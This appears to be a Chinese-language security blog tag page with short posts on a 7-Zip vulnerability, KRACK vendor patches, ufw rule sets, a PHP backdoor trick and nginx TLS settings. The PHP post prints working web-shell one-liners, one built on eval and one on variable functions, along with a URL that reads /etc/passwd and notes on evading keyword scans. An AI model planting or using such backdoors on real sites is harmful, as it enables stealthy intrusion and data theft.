標籤: 資訊安全

7zip 被發現安全漏洞，請進速更新至 18.05

2018 年 5 月 8 日2021 年 3 月 12 日日落尚無留言

CIS 原文：
Successful exploitation of this vulnerability could allow for arbitrary code execution. Depending on the privileges associated with the user, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights.
7zip 的漏洞可讓惡意使用者控制電腦，所有 18.05 以下的版本均受到影響。

請進訴將電腦中的 7zip 更新至最新版本。

新聞, 資訊安全

各家廠商針對 wifi Krack 的動作

2017 年 10 月 18 日2021 年 3 月 12 日日落尚無留言

KRACK 問題不是僅針對特定 WPA 戰點的問題，而是通訊協定上面的問題，基本上各家廠商都需要為了這個漏洞進行修補。

BleepingComputer 網站上的作者，已經至各大 wifi 供應商搜尋官方回應以及解決 KRACK 的動作，可以看到 Cisco、D-Link、DrayTek、MikroTik、Netgear、TP-Link、Zyxel 幾乎都有動作了：https://www.bleepingcomputer.com/news/security/list-of-firmware-and-driver-updates-for-krack-wpa2-vulnerability/

補充：Github 這邊有更詳細的整理

至於 ASUS 呢？官方討論區一堆人在問，但是官方完全沒有回應。這可能會是以後我買 wifi AP 的一個評分項目 …..

分享, 資訊安全

為 ufw 建立應用程式的 rule set

2017 年 5 月 5 日2021 年 3 月 12 日日落尚無留言

以往在 ufw 加入防火牆規則時，都是一條一條新增上去：

ufw allow 80
ufw allow 443
ufw allow 8080
.....

這種方式雖然簡單，但是之後要維護會有點困難：到底哪個 port 是為了哪一個應用程式開的？

ufw 其實還有其他特別功能，叫做 app list：

zero@zero-x230:~$ sudo ufw app list
Available applications:
  Apache
  Apache Full
  Apache Secure
  CUPS
  Samba

會自動增測，並有預設的設定檔來幫你新增 rule set。來看一下「Apache Full」設定檔到底寫了什麼，打開「/etc/ufw/applications.d/」：

[Apache]
title=Web Server
description=Apache v2 is the next generation of the omnipresent Apache web server.
ports=80/tcp

[Apache Secure]
title=Web Server (HTTPS)
description=Apache v2 is the next generation of the omnipresent Apache web server.
ports=443/tcp

[Apache Full]
title=Web Server (HTTP,HTTPS)
description=Apache v2 is the next generation of the omnipresent Apache web server.
ports=80,443/tcp

預設有三個 rule sets，一個是 port 80，另一個是 HTTPS 的 port 443，亦或二者都開啟。

我們可以依樣畫葫蘆，建立自己的 app rule sets，像是我幫 Resilio Sync 湊出來的 rule set。

你也可以參考 Ubuntu forum 上面的教學，建立自己需要的 rule set。

Linux, Ubuntu, 資訊安全

不需要 PHP eval() 即可執行使用者自訂動作的寫法

2016 年 5 月 22 日2021 年 3 月 12 日日落尚無留言

以往 PHP 後門都用很簡單的語法去撰寫，例如：

echo eval($_GET['action']);

不過由於 eval() 這個寫法實在是太常見了，若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法，利用 PHP variable functions 的語法來製作後門：

echo $_GET['a']($_GET['b']);

惡意人士可以在網址上使用參數來取得需要的資訊：

http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....

上面這語法沒有使用到 PHP 內建的任何函式，在加上 GET 參數的名稱可以任意設定，用關鍵字搜尋的方法是很難抓出來的。

只能說想到這種寫法的人實在很有創意 XD

PHP, 資訊安全

SSLv2 可能也不安全了

2016 年 3 月 2 日2021 年 3 月 12 日日落有 1 則留言

More than 11 million HTTPS websites imperiled by new decryption attack
http://arstechnica.com/security/2016/03/more-than-13-million-https-websites-imperiled-by-new-decryption-attack/

目前自己的機器好像沒受到影響，被份一下 nginx 的 HTTP 設定 (從多方搜尋來得設定值)：

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
ssl_prefer_server_ciphers on;

若不清楚自己的 server 設定是否安全，可以透過 SSL Labs 提供的服務，來檢查是否有什麼潛在的問題。

資訊安全